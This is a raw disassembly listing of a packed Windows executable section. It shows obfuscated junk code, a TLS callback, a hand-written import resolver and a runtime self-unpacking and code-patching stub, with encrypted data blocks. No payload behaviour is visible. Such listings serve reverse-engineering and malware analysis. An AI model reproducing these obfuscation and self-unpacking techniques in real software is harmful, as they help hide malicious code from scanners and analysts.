; isk1wxzg:00475DE8j ; FUNCTION CHUNK AT 00473B34 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004759D0 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx add eax, 20B7F388h push ebx mov ebx, esi xchg ebx, [esp+0] jmp loc_4759D0 sub_475B43 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4744DB loc_475B59: ; CODE XREF: sub_4744DB:loc_4754BFj jnz loc_4746AD jmp loc_4754BA ; END OF FUNCTION CHUNK FOR sub_4744DB ; --------------------------------------------------------------------------- locret_475B64: ; CODE XREF: isk1wxzg:00475E1Dj retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475BF0 loc_475B67: ; CODE XREF: sub_475BF0-1CF2j jmp loc_4746FB ; END OF FUNCTION CHUNK FOR sub_475BF0 ; --------------------------------------------------------------------------- dd 0EA1BC300h, 0FFE8A4E9h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_475B75 proc near ; CODE XREF: isk1wxzg:00475BE1j ; sub_475026:loc_475D71p xchg edx, [esp+0] pop edx mov ecx, [ecx] push offset loc_474C2C jmp nullsub_380 sub_475B75 endp ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4749EA loc_475B87: ; CODE XREF: sub_4749EA:loc_474AD7j mov [edi], eax pop edi pushf push 3AF91238h pop eax jmp loc_474E24 ; END OF FUNCTION CHUNK FOR sub_4749EA ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473E7B loc_475B97: ; CODE XREF: sub_473E7B+7B2j mov byte ptr [ecx], 87h pop ecx and ecx, 44739E68h add ecx, 0C045C462h xchg ecx, [esp-4+arg_0] jmp loc_474846 ; END OF FUNCTION CHUNK FOR sub_473E7B ; --------------------------------------------------------------------------- align 10h dword_475BB0 dd 282D6853h, 815B4534h, 2A3F75C3h, 63890FE5h, 0FFFFFBh ; DATA XREF: sub_474BAE-136Bo dd 0FFDD46E9h, 890000FFh, 43E929h, 0C1030000h, 0FFFA3DE8h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_4752B4 loc_475BDA: ; CODE XREF: sub_4752B4+Fj jmp loc_47605D ; END OF FUNCTION CHUNK FOR sub_4752B4 ; --------------------------------------------------------------------------- align 10h pop ecx jmp sub_475B75 ; --------------------------------------------------------------------------- align 4 jnz loc_473EEE not ebx ; =============== S U B R O U T I N E ======================================= sub_475BF0 proc near ; FUNCTION CHUNK AT 00473EF8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004746FB SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00475B67 SIZE 00000005 BYTES xchg ecx, [esp+0] xchg edx, [esp+0] mov ecx, edx jmp loc_473EF8 sub_475BF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; --------------------------------------------------------------------------- add al, 24h pop eax push ecx push 72FE6390h pop esi push ebx mov ebx, 475422h jmp loc_4738A4 ; --------------------------------------------------------------------------- db 3Bh, 0EEh, 0E9h ; --------------------------------------------------------------------------- imul esi, ebp, 0FFFFh lodsb add edx, eax rol edx, 3 xor edx, eax dec ecx jmp loc_475FC7 ; --------------------------------------------------------------------------- loc_475C2C: ; DATA XREF: sub_475DC9-2C3o xchg ebx, [esp] retn ; --------------------------------------------------------------------------- loc_475C30: ; CODE XREF: isk1wxzg:00473E2Dj jmp near ptr dword_473504+32h ; --------------------------------------------------------------------------- align 2 dw 1014h dd 475A8C68h, 0FE41E900h, 8900FFFFh, 0FC50E90Ah db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- locret_475C4B: ; CODE XREF: isk1wxzg:0047524Dj ; isk1wxzg:00475A66j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_475C4E: ; CODE XREF: isk1wxzg:00473F1Dj jmp near ptr dword_4736D4+24h ; --------------------------------------------------------------------------- align 4 db 0 byte_475C55 db 68h, 0F6h, 21h ; DATA XREF: isk1wxzg:00475248o dd 1487AFB1h, 5ADA8B24h, 0E91CC3C1h, 0FFFFFE93h ; =============== S U B R O U T I N E ======================================= sub_475C68 proc near ; CODE XREF: isk1wxzg:00473F73p ; FUNCTION CHUNK AT 00475358 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00475CE5 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xor eax, eax cld jmp loc_475CE5 sub_475C68 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 8B570000h, 243C87FDh, 0B7E9EE8Bh, 0FFFFF8h, 0A2F08100h dd 0E99150AAh, 0FFFFF8FFh, 0D9840F00h, 81FFFFFEh, 0B80344C0h dd 4AE965h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474BAE loc_475CA2: ; CODE XREF: sub_474BAE:loc_475A43j add edi, 0AEE5C2A6h add eax, edi pop edi mov eax, [eax] popf loc_475CAE: ; DATA XREF: sub_473CB1:loc_4741AEw mov al, [eax] jmp loc_474705 ; END OF FUNCTION CHUNK FOR sub_474BAE ; --------------------------------------------------------------------------- or ebx, edx ; =============== S U B R O U T I N E ======================================= sub_475CB7 proc near ; CODE XREF: isk1wxzg:loc_474DC9p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004748DB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475232 SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx add edi, 5BAD23CFh popf loc_475CC2: ; DATA XREF: isk1wxzg:00474ED8o xchg edi, [esp-8+arg_4] push eax jmp loc_4748DB sub_475CB7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 push 0D8AB0928h push offset sub_475604 jmp locret_474446 ; --------------------------------------------------------------------------- loc_475CDB: ; DATA XREF: sub_4752B4:loc_47605Do mov byte ptr [edi], 0C3h pop edi mov ebp, esi pop esi ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_396. PRESS KEYPAD "+" TO EXPAND] align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475C68 loc_475CE5: ; CODE XREF: sub_475C68+7j jmp loc_475358 ; END OF FUNCTION CHUNK FOR sub_475C68 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_475CEC proc near ; CODE XREF: sub_47589A-1303p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00474776 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004755CF SIZE 00000005 BYTES xchg edx, [esp+0] xchg ecx, [esp+0] mov edx, ecx pop ecx xchg edi, [esp-4+arg_0] mov esi, edi pop edi jmp loc_4755CF sub_475CEC endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0D03B0000h, 0FFE958E9h db 0FFh ; --------------------------------------------------------------------------- locret_475D09: ; CODE XREF: isk1wxzg:00475046j retn ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_47538D loc_475D0C: ; CODE XREF: sub_47538D+10j jmp loc_474CAE ; END OF FUNCTION CHUNK FOR sub_47538D ; --------------------------------------------------------------------------- align 2 loc_475D12: ; CODE XREF: isk1wxzg:004743D2j jmp loc_4758F2 ; --------------------------------------------------------------------------- byte_475D17 db 68h ; DATA XREF: isk1wxzg:00475041o dd 865B23Ch, 8BC88158h, 81849E39h, 0BB144FF0h, 0FC081EAh dd 8799BB50h, 3FE92404h, 0C3FFFFE1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_475D3A: ; CODE XREF: isk1wxzg:0047411Dj jmp locret_4746C5 ; --------------------------------------------------------------------------- align 10h loc_475D40: ; CODE XREF: isk1wxzg:004753F8j mov byte ptr [edi], 87h pop edi push 473875h jmp near ptr dword_474650+2 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_475D4F: ; CODE XREF: isk1wxzg:00475352j xchg ecx, [esp] pop ecx add eax, ebp call sub_4749D8 ; START OF FUNCTION CHUNK FOR sub_475DC9 loc_475D5A: ; CODE XREF: sub_475DC9+12j jmp loc_47476B ; END OF FUNCTION CHUNK FOR sub_475DC9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_377. PRESS KEYPAD "+" TO EXPAND] dd 0B3E90000h, 0FFFFE5h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473EE5 loc_475D68: ; CODE XREF: sub_473EE5+Ej mov ecx, edi pop edi call loc_473E0D ; END OF FUNCTION CHUNK FOR sub_473EE5 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475026 loc_475D71: ; CODE XREF: sub_475026:loc_473E8Cj call sub_475B75 loc_475D76: ; CODE XREF: sub_4738E9+15D2j add cl, ch push esi loop near ptr loc_475D79+1 ; CODE XREF: sub_475026:loc_475D79j inc dword ptr [eax] add [ebx-75h], dl fld dword ptr [edi-2D46DBE4h] pop ebx inc edi add cl, ch xor eax, [edx] ; END OF FUNCTION CHUNK FOR sub_475026 ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4749EA loc_475D8F: ; CODE XREF: sub_4749EA:loc_474E24j rol eax, 3 push offset sub_4734B6 jmp loc_474B40 ; END OF FUNCTION CHUNK FOR sub_4749EA ; --------------------------------------------------------------------------- db 0 byte_475D9D db 0E8h, 6Eh, 0E7h ; DATA XREF: isk1wxzg:loc_474B68o dd 0EFC1FFFFh, 241C8706h, 241C875Bh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 2 loc_475DAE: ; CODE XREF: isk1wxzg:00473FD7j jmp locret_474B83 ; --------------------------------------------------------------------------- align 4 dd 5AED6800h, 2CE90047h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_475DBF: ; CODE XREF: isk1wxzg:004759E3j mov edx, 474E56h jmp loc_474C66 ; =============== S U B R O U T I N E ======================================= sub_475DC9 proc near ; CODE XREF: isk1wxzg:0047592Dp ; FUNCTION CHUNK AT 0047476B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00475932 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475AF5 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00475D5A SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx loc_475DCD: ; CODE XREF: isk1wxzg:004739B5j jz loc_475AF5 jno loc_475486 mov edx, [eax] jmp loc_475D5A sub_475DC9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub eax, edx xor ebp, 1D7DB7DAh jmp sub_475B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47580E loc_475DED: ; CODE XREF: sub_47580E:loc_473976j and ebx, 0CDF19859h add ebx, 7B85A911h jmp loc_473B40 ; END OF FUNCTION CHUNK FOR sub_47580E ; --------------------------------------------------------------------------- loc_475DFE: ; CODE XREF: isk1wxzg:00473DD6j pop esi or eax, 1158843Ah add eax, 864A0130h push offset word_473FF2 jmp locret_473FE9 ; --------------------------------------------------------------------------- align 2 loc_475E16: ; DATA XREF: isk1wxzg:00473F51o mov ebp, esp push 473C6Dh jmp locret_475B64 ; --------------------------------------------------------------------------- dw 0C600h dd 0E85B0F03h, 0FFFFF8C4h ; --------------------------------------------------------------------------- loc_475E2C: ; CODE XREF: isk1wxzg:loc_475055j mov ebp, [eax] xchg ecx, [esp] xchg edi, [esp] mov ecx, edi pop edi mov byte ptr [ebx], 0C6h pop ebx jmp near ptr dword_4749AC+0Ch ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4744DB loc_475E41: ; CODE XREF: sub_4744DB:loc_475B3Dj pop ecx and ecx, 72CCA884h rol ecx, 0Eh xor ecx, 7DDC579Eh loc_475E51: ; CODE XREF: isk1wxzg:004759D5j push offset sub_474524 jmp nullsub_388 ; END OF FUNCTION CHUNK FOR sub_4744DB ; --------------------------------------------------------------------------- pop eax xor eax, 183E8306h sub eax, 0BE9EB8F4h add eax, 0C7A86638h sub eax, 0B5BF6A33h add eax, 3BDBE3D2h jmp loc_475270 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_4734CE loc_475E80: ; CODE XREF: sub_4734CE:loc_4757D3j push 2A3E9355h pop ecx add ecx, 0E01F4ED4h rol ecx, 16h jmp loc_4745C0 ; END OF FUNCTION CHUNK FOR sub_4734CE ; --------------------------------------------------------------------------- dd 0C0810000h, 0E0F9B11Ah ; --------------------------------------------------------------------------- loc_475E9C: ; DATA XREF: sub_473E7B+7ADo xchg eax, [esp] retn ; --------------------------------------------------------------------------- dd 0E9580000h, 0FFFFFA85h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4744DB loc_475EAA: ; CODE XREF: sub_4744DB+6j call sub_476204 nop push esi push 0E379A19Eh jmp loc_4754DA ; END OF FUNCTION CHUNK FOR sub_4744DB ; --------------------------------------------------------------------------- align 4 dword_475EBC dd 7A2D6852h, 815A8182h, 6D6DA9EAh, 3DCA81F0h, 0C1C4D20Ch ; DATA XREF: sub_473D98+14FEo dd 0C6E90BC2h, 0FFFFE6h, 550000C3h, 2C87E98Bh, 0E8736824h dd 77E903D6h, 0FFFFFEh, 0FFF446E8h, 0E665E9FFh, 0C80BFFFFh dd 0FFECB1E9h, 530000FFh, 1C87DE8Bh, 6EB85024h, 0E900475Ch dd 0FFFFD5E5h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4734B6 loc_475F11: ; CODE XREF: sub_4734B6+6j mov byte ptr [ebx], 8Ah pop ebx add eax, 0A74BD9BFh xor eax, 27ADA02Ah and eax, 0E2D344E8h call sub_474EC1 mov [esi], ebp jmp sub_476068 ; END OF FUNCTION CHUNK FOR sub_4734B6 ; --------------------------------------------------------------------------- loc_475F33: ; CODE XREF: isk1wxzg:0047493Aj add ecx, 5BD6BDEBh xchg eax, ebp or al, 24h jmp loc_473F50 ; --------------------------------------------------------------------------- db 2 dup(0), 8Dh ; --------------------------------------------------------------------------- add eax, offset nullsub_401 rol byte ptr [eax], 1 retn ; --------------------------------------------------------------------------- dd 2A676851h, 8159741Fh, 31E30AE1h, 0DA62E996h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- locret_475F5F: ; CODE XREF: isk1wxzg:0047397Cj retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_475F62: ; CODE XREF: isk1wxzg:00474B62j jmp near ptr dword_473504+7Ah ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_392. PRESS KEYPAD "+" TO EXPAND] align 2 ; START OF FUNCTION CHUNK FOR sub_473CB1 loc_475F6A: ; CODE XREF: sub_473CB1+22EAj jmp loc_474CDE ; END OF FUNCTION CHUNK FOR sub_473CB1 ; --------------------------------------------------------------------------- loc_475F6F: ; CODE XREF: isk1wxzg:00473C1Fj ; isk1wxzg:00475680j xchg ebx, [esp] jmp loc_47551B ; --------------------------------------------------------------------------- align 4 dd 0F313E800h, 40E8FFFFh, 0FFFFDEh, 2434875Bh, 0E95ECE8Bh dd 0FFFFE413h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473CB1 loc_475F90: ; CODE XREF: sub_473CB1:loc_474783j mov byte ptr [ebx], 3 pop ebx pop eax or eax, 34FEDDF0h jmp loc_475F6A ; END OF FUNCTION CHUNK FOR sub_473CB1 ; --------------------------------------------------------------------------- dd 7C60000h, 68535FFFh, 3B401D9h, 8B243C87h, 0C3C15FDFh dd 0DC82E915h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47580E loc_475FBC: ; CODE XREF: sub_47580E:loc_473B40j call sub_4757DA loc_475FC1: ; CODE XREF: sub_4744DB:loc_47469Fj jmp loc_475260 ; END OF FUNCTION CHUNK FOR sub_47580E ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_475FC7: ; CODE XREF: isk1wxzg:00475C27j jmp near ptr dword_473F84+29h ; --------------------------------------------------------------------------- dd 0EA40E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_475FD2: ; CODE XREF: isk1wxzg:004742F3j jmp near ptr dword_473778+16h ; --------------------------------------------------------------------------- loc_475FD7: ; CODE XREF: isk1wxzg:0047373Bj jmp loc_4743C0 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474524 loc_475FDE: ; CODE XREF: sub_474524-F46j jmp nullsub_384 ; END OF FUNCTION CHUNK FOR sub_474524 ; --------------------------------------------------------------------------- align 4 dd 878702C6h, 0D08B2404h, 0B2D18B58h, 77E92414h, 0FFFFEAh dd 840FD209h, 0FFFFFEA2h, 0D6BAE851h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_476007: ; CODE XREF: isk1wxzg:0047435Fj jmp locret_474443 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474DF6 loc_47600C: ; CODE XREF: sub_474DF6-1842j pop eax xor eax, 5B9FE2C6h push esi mov esi, offset byte_474229 jmp loc_475629 ; END OF FUNCTION CHUNK FOR sub_474DF6 ; --------------------------------------------------------------------------- dw 0C100h dd 51E906E8h, 0FFFFF3h, 7B95BD00h, 0EB81E5C3h, 2AEE556Eh dd 0FFD8A0E9h, 76F881FFh, 0E9270D3Bh, 0FFFFE4EDh, 0EDE0F381h dd 1C879504h, 0C015FF24h, 0E90044F0h, 0FFFFF92Eh, 0FFDC33E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4752B4 loc_47605D: ; CODE XREF: sub_4752B4:loc_475BDAj push offset loc_475CDB jmp loc_474E8E ; END OF FUNCTION CHUNK FOR sub_4752B4 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_476068 proc near ; CODE XREF: isk1wxzg:00474B79p ; sub_4734B6+2A78j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00474E87 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475172 SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx xchg esi, [esp+0] loc_47606F: ; CODE XREF: isk1wxzg:00474C07j jmp loc_474E87 sub_476068 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 33E80000h, 0FFFFE9h ; --------------------------------------------------------------------------- loc_47607C: ; CODE XREF: isk1wxzg:00473D92j add edx, 0AAD31CFDh add edx, ebp call sub_47580E add bl, al ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4755D4 loc_47608D: ; CODE XREF: sub_4755D4+Bj jmp loc_4758AE ; END OF FUNCTION CHUNK FOR sub_4755D4 ; --------------------------------------------------------------------------- align 4 dd 7BB85056h, 0E9004759h, 0FFFFEE5Ah db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4760A2 proc near ; CODE XREF: sub_4744DB+70Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004761F8 SIZE 0000000B BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h push esi push edi push ebx mov esi, offset dword_436000 mov eax, 400000h mov [ebp+var_4], eax mov edx, eax loc_4760BA: ; CODE XREF: sub_4760A2+15Cj mov eax, [esi+0Ch] or eax, eax jz loc_476152 add eax, edx mov ebx, eax push eax call ds:dword_44F0B4 ; GetModuleHandleA or eax, eax jnz loc_4760E7 push ebx call ds:dword_44F0B8 ; LoadLibraryA or eax, eax jz loc_47614A loc_4760E7: ; CODE XREF: sub_4760A2+30j mov [ebp+var_8], eax push 0 pop [ebp+var_C] loc_4760EF: ; CODE XREF: sub_4760A2+A2j mov eax, [esi] or eax, eax mov edx, [ebp+var_4] jnz loc_4760FF mov eax, [esi+10h] loc_4760FF: ; CODE XREF: sub_4760A2+54j add eax, edx add eax, [ebp+var_C] mov ebx, [eax] mov edi, [esi+10h] add edi, edx add edi, [ebp+var_C] or ebx, ebx jz loc_4761F8 test ebx, 80000000h loc_47611C: ; CODE XREF: isk1wxzg:loc_47549Aj jnz loc_476126 lea ebx, [ebx+edx+2] loc_476126: ; CODE XREF: sub_4760A2:loc_47611Cj and ebx, 7FFFFFFFh push ebx push [ebp+var_8] call ds:dword_44F0BC ; GetProcAddress or eax, eax jz loc_47614A mov [edi], eax add [ebp+var_C], 4 jmp loc_4760EF ; --------------------------------------------------------------------------- align 2 loc_47614A: ; CODE XREF: sub_4760A2+3Fj ; sub_4760A2+96j push ebx mov eax, ebx call sub_47615A loc_476152: ; CODE XREF: sub_4760A2+1Dj pop ebx pop edi pop esi mov esp, ebp pop ebp retn sub_4760A2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_47615A proc near ; CODE XREF: sub_4760A2+ABp var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h push ebp mov ebp, esp add esp, 0FFFFFEF8h mov [ebp+var_104], eax mov [ebp+var_100], 276E6143h mov [ebp+var_FC], 6F6C2074h mov [ebp+var_F8], 206461h mov [ebp+var_108], 0Bh loc_476191: ; CODE XREF: sub_47615A+98j mov eax, [ebp+var_104] cmp byte ptr [eax], 0 jnz loc_4761D1 mov eax, [ebp+var_108] mov byte ptr [ebp+eax+var_100], 0 push 2010h push 0 lea eax, [ebp+var_100] push eax push 0 call ds:dword_44F104 ; MessageBoxA push 0FFFFFFFFh call ds:dword_44F0C0 ; ExitProcess mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_4761D1: ; CODE XREF: sub_47615A+40j mov eax, [ebp+var_108] mov edx, [ebp+var_104] mov dl, [edx] mov byte ptr [ebp+eax+var_100], dl inc [ebp+var_108] inc [ebp+var_104] jmp loc_476191 sub_47615A endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_4760A2 loc_4761F8: ; CODE XREF: sub_4760A2+6Ej add esi, 14h mov edx, [ebp+var_4] jmp loc_4760BA ; END OF FUNCTION CHUNK FOR sub_4760A2 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_476204 proc near ; CODE XREF: sub_4744DB:loc_475EAAp ; DATA XREF: sub_476204o ... lea eax, sub_476204 lea edx, sub_476204 sub edx, eax jz sub_476278 push esi push ebx mov esi, offset off_44F110 cld lodsd cmp eax, 0FFFFFFFFh jz loc_476276 mov ebx, edx loc_47622C: ; CODE XREF: sub_476204+3Dj ; sub_476204+59j ... add ebx, eax add [ebx], edx add ebx, 4 lodsb cmp al, 0FEh jnb loc_476248 and eax, 0FFh jmp loc_47622C ; --------------------------------------------------------------------------- align 4 loc_476248: ; CODE XREF: sub_476204+32j add ebx, 0FEh loc_47624E: ; CODE XREF: sub_473C4E:loc_473E40j or eax, eax jp loc_476264 lodsw and eax, 0FFFFh jmp loc_47622C ; --------------------------------------------------------------------------- align 4 loc_476264: ; CODE XREF: sub_476204+4Cj lodsd dec esi and eax, 0FFFFFFh cmp eax, 0FFFFFFh jnz loc_47622C loc_476276: ; CODE XREF: sub_476204+20j pop ebx pop esi sub_476204 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_476278 proc near ; CODE XREF: sub_476204+Ej startp ... mov eax, offset sub_4734B6 locret_47627D: ; DATA XREF: sub_47627E+8o retn sub_476278 endp ; =============== S U B R O U T I N E ======================================= sub_47627E proc near ; DATA XREF: isk1wxzg:00474F5Co var_14 = dword ptr -14h var_10 = dword ptr -10h push esi push edi push ecx push ebx push eax mov ebx, [esp+14h+var_14] sub ebx, offset locret_47627D mov eax, 23F6h push eax push 4 push 1000h push eax push 0 mov eax, offset dword_44F0C4 mov eax, [eax+ebx] call eax pop ecx mov edx, offset sub_4734B6 add edx, ebx push edx push ebx push eax mov edi, eax mov esi, edx cld rep movsb mov ecx, offset sub_473332 add ecx, ebx call ecx pop eax mov ebx, [esp+10h+var_10] push 8000h push 0 push eax mov eax, 44F0C8h mov eax, [eax+ebx] call eax pop ecx pop eax pop ebx sub ebx, 5 mov byte ptr [ebx], 0B8h inc ebx mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 0C3h or ecx, ecx jz short loc_476333 mov ebx, eax call loc_476394 cld lodsd cmp eax, 0FFFFFFFFh jz short loc_476333 push ebx mov ebx, ecx loc_4762FE: ; CODE XREF: sub_47627E+91j ; sub_47627E+A4j ... add ebx, eax add [ebx], ecx add ebx, 4 lodsb cmp al, 0FEh jnb short loc_476311 and eax, 0FFh jmp short loc_4762FE ; --------------------------------------------------------------------------- loc_476311: ; CODE XREF: sub_47627E+8Aj add ebx, 0FEh or eax, eax jp short loc_476324 lodsw and eax, 0FFFFh jmp short loc_4762FE ; --------------------------------------------------------------------------- loc_476324: ; CODE XREF: sub_47627E+9Bj lodsd dec esi and eax, 0FFFFFFh cmp eax, 0FFFFFFh jnz short loc_4762FE pop eax loc_476333: ; CODE XREF: sub_47627E+6Dj ; sub_47627E+7Bj pop ebx pop ecx pop edi pop esi retn sub_47627E endp ; --------------------------------------------------------------------------- dd 7991237Ah, 2DE6A43Eh, 1A2B8DF7h, 6A3E87CFh, 5FC8D08Fh dd 0C4F392DDh, 4E443626h, 6D7F336Eh, 0B137FBFBh, 83C3B592h dd 0B9563373h, 35E65AC5h, 3D5ED8CBh, 891266EEh, 0ADBF5F3Ah dd 84F8B1E2h, 384611Fh ; =============== S U B R O U T I N E ======================================= public start start proc near call sub_476278 add eax, 9DDh jmp eax start endp ; =============== S U B R O U T I N E ======================================= public TlsCallback_0 TlsCallback_0 proc near ; DATA XREF: isk1wxzg:TlsCallbackso call sub_476278 add eax, 52Bh jmp eax TlsCallback_0 endp ; --------------------------------------------------------------------------- loc_476394: ; CODE XREF: sub_47627E+71p call sub_47648B mov eax, 8004734h push ds adc [edx+18h], ebx pop esi outsb inc esi adc eax, [ecx-17h] or esi, [esi] sbb edx, [ecx-47h] xor [ebp+7Eh], al push es and [esi], cl and al, 6 sbb [edx], dh add [ecx], ecx push es sub al, 2Ch pop ds xor [ebx+ebx*8+0E0E0B9Ch], al or edx, [eax] dec ebp sub ecx, [ecx] and ds:251A0743h, cl and [edi], al and dl, ds:11D4817h and eax, 612A0E0Dh db 2Eh adc ecx, edx imul esp, [edi], 0A081A07h adc al, 71h sub esp, [ebp+29h] push es push ecx fstp qword ptr [esi] db 67h push ss or [edi], ch push ds pop ebx push es xchg eax, esi sbb eax, 8D27160Eh sub al, 0FEh or eax, [eax] das push cs push edi or dh, [edi] pop es push ds sub al, 26h or [edi], cl ; --------------------------------------------------------------------------- db 0Fh dd 3A2D010Bh, 41A4371h, 989852Bh, 10130614h, 3D692E32h dd 60E7502h, 8450706h, 1005282Eh, 712372Dh, 1081D18h, 753110Fh dd 3C024E1Ch, 0C0A0A09h, 0FE0D4607h, 22AB002Dh, 2C1D4115h dd 0C482B39h, 89102D06h, 42251811h, 3030315h, 6E411B03h dd 42180E15h, 23480819h, 11802965h, 1F0A3C6Fh, 10E3106h dd 6B423509h, 36CC0C2Ah, 111350Bh, 8A530B17h, 0FF0B4004h db 3 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_47648B proc near ; CODE XREF: isk1wxzg:loc_476394p pop esi retn sub_47648B endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 dw 90E7h dd 8E1CC21Bh, 0FAF0CAD1h, 246A2C61h, 2E711AD3h, 0F7E2A36Ah dd 89FEA3EFh, 0FF2A9650h, 0A4950E17h, 6B9A73B5h, 0B300B5BCh dd 0ADC000B6h, 0D5EB6CEDh, 4CE6C6CAh, 401FFD31h, 0DDC722B1h dd 0A3143C73h, 804C83C9h, 24BE20CEh, 0E060B960h, 0FB3D47BDh dd 0B322B8A8h, 386A0BD5h, 0D9F9255Fh, 0AC7282ADh, 7337A88Eh dd 5D5F3730h, 83D5D9EFh, 0AA7BAEE9h, 22820432h, 1D04CB94h dd 49F7673Eh, 39F95D85h, 319B0469h, 89ED0D33h, 8DE31A27h dd 0A1739D9Ah, 7ECB74D3h, 0BB47CB8Ch, 4B811FF2h, 829F24F4h dd 0FD3B98D6h, 94A2575Fh, 0E65F683h, 16FD18E1h, 342D451Bh dd 0C2E13A7Eh, 0DF945116h, 0A63F51D0h, 0B3B601DAh, 2FE2557Ch dd 0EBDD1E89h, 0A92B89DDh, 7BBB4FB2h, 698A59Ch, 0B291359Fh dd 58641F93h, 78F0A2ADh, 832C4C45h, 0A5872863h, 64F400CFh dd 0C0FFFF83h, 73C1013Eh, 15C0891Ah, 576EFB68h, 36521A94h dd 0B1D4FD64h, 0FCB46773h, 6CB3BB08h, 74E0F94Dh, 0EF625A72h dd 1A8426A9h, 0CB2A9BFEh, 0A1B98476h, 8817C35Ch, 98EF34CCh dd 26F614FBh, 0A1E8261Fh, 3B6766D5h, 0C2E662C4h, 0F1BEB554h dd 0E17CDF4h, 0E3FC32DDh, 0AD289C4Bh, 0BD98460Ch, 9DEE594Fh dd 3A84F865h, 866F0DFCh, 0C4840203h, 61BC8D85h, 0DE83559Bh dd 0CBA796FDh, 35F08182h, 280h dup(0) isk1wxzg ends ; Section 8. (virtual address 00077000) ; Virtual size : 00001000 ( 4096.) ; 